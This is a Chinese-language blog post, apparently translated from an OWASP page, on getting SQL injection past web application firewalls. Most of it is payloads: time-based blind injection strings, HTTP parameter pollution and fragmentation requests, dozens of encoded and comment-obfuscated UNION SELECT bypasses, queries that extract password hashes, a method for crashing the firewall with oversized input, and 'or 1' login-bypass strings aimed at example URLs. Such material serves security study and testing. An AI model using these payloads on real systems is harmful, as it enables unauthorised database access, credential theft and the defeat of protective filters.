SQL注入繞過防火牆
SQL注入繞過防火牆
這篇文章是我翻譯OWASP官網上的一篇文章,原文連結:SQL Injection Bypassing WAF
我發現自己的外文文獻閱讀能力有點低,感覺有時間的話還是多翻譯一些外文文獻,鍛鍊一下自己的外文閱讀能力,可能其他人翻譯過,可能翻譯的比我更好,但我主要還是鍛鍊自己的外文閱讀能力。也挑一些自己感興趣的,日後有用的。
sql注入簡介
sql注入攻擊是由插入或注入一段從客戶端輸入的sql語句引起的。一個成功的sql注入利用(exploit)能從資料庫讀取敏感資料,改變資料庫資料(通過Insert/Update/Delete),在資料庫執行(execute)管理員操作(比如關閉資料庫管理系統DBMS),在DBMS檔案系統上回復指定檔案的內容和在一些場景下執行作業系統命令(command)。sql注入攻擊是一種注入攻擊,它將sql命令注入到資料平面(data-plan)使得影響預先設定的sql命令的執行結果。
SQL注入-基本概念
下面是兩種sql注入
• 字元型sql注入
例: SELECT * from table where example = 'example'
• 數字型sql注入
例: SELECT * from table where id = 123
sql注入的利用根據DBMS種類和注入環境分為以下幾類
• 一個脆弱的請求能進行insert,update,delete等一些列操作
例: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
sql盲注
例: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
這句話是比較基本的盲注了,拆解一下這句話AND前面是正常的查詢語句,後面進行了一個判斷,主要內容是select user()查詢當前使用者,substring()提取第
s進行比較,如果不等則返回1,語句即變為了 select * from table where id = 1 AND 1
,若相等則執行benchmark(200000,md5(now()),這個函式執行需要一陣子,所以根據伺服器返回的時間可以判斷if中的判斷語句的邏輯結果,當然也可使用sleep()代替benchmark
SLEEP(5)--
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1--
id=1) OR SLEEP(25)=0 LIMIT 1--
id=1' OR SLEEP(25)=0 LIMIT 1--
id=1') OR SLEEP(25)=0 LIMIT 1--
id=1)) OR SLEEP(25)=0 LIMIT 1--
id=SELECT SLEEP(25)--
利用不同的DBMS特徵
例: (MySQL): SELECT * from table where id = 1 union select 1,2,3
例: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
mysql是不支援使用;一起執行兩個sql語句的,但PostgreSQL就可以
繞過WAF:普通
第一個例子是關於歸一化請求函式的漏洞
這個例子不允許任何人有下面請求的攻擊行為
/?id=1+union+select+1,2,3/*
如果防火牆存在相應的漏洞,那麼下面請求將會生效
/?id=1/*union*/union/*select*/select+1,2,3/*
因為被防火牆處理之後,這個請求會變成:
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
這個例子在只是清除危險流量而不是阻塞整個攻擊源的請求(可以理解為丟棄這個請求)的情況下生效
第二個例子也是關於歸一化請求函式的漏洞
和第一個很相似,不允許任何人提交下面的攻擊請求
/?id=1+union+select+1,2,3/*
如果防火牆存在相應漏洞,則下面攻擊會生效
/?id=1+un/**/ion+sel/**/ect+1,2,3--
這個請求會變成
SELECT * from table where id =1 union select 1,2,3--
與構造/**/相似的任意防火牆會剪掉(cuts off)的字元序列都可以使用(如####,%00)
這個例子在防火牆過度的清理輸入資料時生效(將一些目標表達替換為空字串)
使用HTTP引數汙染(HPP)
不允許任何人提交下面的攻擊請求
/?id=1;select+1,2,3+from+users+where+id=1--
下面使用HPP(HTTP引數汙染)的請求會成功執行
/?id=1;select+1&id=2,3+from+users+where+id=1--
成功使用HPP的攻擊繞過防火牆取決於被攻擊的web應用的的環境
使用HTTP引數汙染(HPP)
漏洞程式碼
SQL=" select key from table where id= "+Request.QueryString("id")
下面的請求使用HPP技術
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
這個請求會變成
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
繞過WAF:HPF SQL注入
使用HTTP引數碎片(HTTP Parameter Fragmentation )
漏洞程式碼
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
不允許任何人發起下面的攻擊請求
/?a=1+union+select+1,2/*
則下面使用HPF的請求會成功執行
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
這個SQL語句變成了
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
繞過WAF:SQL盲注
使用and/or邏輯查詢請求
下面的攻擊請求可以被很多WAF識別
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
否定或不等號(!=,<>,<,>)可以替換等號達成繞過,看起來很不可思議,但就是很多WAF都忽略了這一點!
所以替換同義符號來sql盲注可以利用這種漏洞。
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()
不同的邏輯語句
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
...
不同的請求內容表達一個意思的例子
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'#直接字元
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a #16進位制
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') #16進位制函式
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' #匹配正則
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' #like替換=
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' #rlike正則
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 #ascii碼
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 #同上
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 #find_in_set前面的是否在後面的裡面
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
#position 第一個引數在第二個引數中第一次出現的位置
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
#locate 第一個引數在第二個引數中的位置
已知的
substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70
mid((select 'password'),1,1) = 0x70
新的
strcmp(left('password',1), 0x69) = 1 #比較兩個字串
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) 如果兩個字串expr1和expr2相等則返回0,第一個小返回-1,第二個小返回1
一個符號繞過的例子
下面的攻擊會被WAF識別
/?id=1+union+(select+1,2+from+users)
但有時候可以替換符號繞過
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
在下面情況下一個sql注入攻擊可以成功繞過防火牆
- 防火牆檢測請求的規則存在漏洞
- 使用HPP或HPF技術
- 繞過過濾器(符號)規則
- 使用盲注技術
- 使用and/or布林邏輯
繞過防火牆的一些payload
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
concat(0x223e,@@version,0x3c696d67207372633d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
使用url編碼方法繞過
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
非法混合上面的方法
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
註釋繞過
程式碼
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
案例變更
一些防火牆過濾器只識別小寫字母的sql關鍵詞
正則過濾器: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
替換關鍵詞
一些應用和防火牆預先替換/移除所有的sql關鍵詞,所以我們可以這樣繞過(雙寫繞過,在xss中也有這很強的應用)
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
一些案例中的sql關鍵詞被替換為空白,所以我們可以使用%0b繞過(%0b是tab)
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
一些情況下,/**/註釋不能繞過,我們可以使用%0b替換註釋
禁止: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過: http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
高階方法
通過緩衝區溢位幹掉防火牆
(1)緩衝區溢位/防火牆崩潰:很多防火牆是用C/C++編寫的,我麼可以使用緩衝區溢位讓它們崩潰
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
You can test if the WAF can be crashed by typing:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
If you get a 500, you can exploit it using the Buffer Overflow Method.
(2)將符號替換為它們的16禁止值:我們可以替換一些字元成它們的16禁止(或url編碼)值
例:
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(其實就是 “union select”)
(3)誤位元速率利用函式:很多防火牆嘗試使用增加保護種類或使用陌生函式來提供更多的保護(這就是我們可以利用的點)
例:
這個防火牆替換"*"為空白,那麼我們可以這樣:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
(如果這個防火牆移除了"*",這個結果會變成:15+union+select…)
所以,如果你發現這樣傻逼的函式,那麼你就可以像這樣利用它
認證繞過
如果我們需要繞過一些管理員許可權(萬能密碼),我們可以使用1=1
or 1-- -' or 1 or '1"or 1 or"
SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username= *AND password=* the "or 1-- -"
如果上面語句生效,這個行為就是真,忽略了前面的查詢,我們檢查一下規則字串。
SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" '
or 1部分使這個查詢變為真,其他部分會被考慮為比較字串。和雙引號一樣
SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" "
標準
擁有你自己的sql注入載荷標準
作者
Dhiraj Mishra ([email protected])
exploit 利用
execute 執行
command 命令
vulnerability 脆弱性,漏洞
conduct 行為
corresponding 相應的
Parameter 引數
excessive 過度的
conduction 傳導
Negation 否定
lowercase 小寫
quote 引號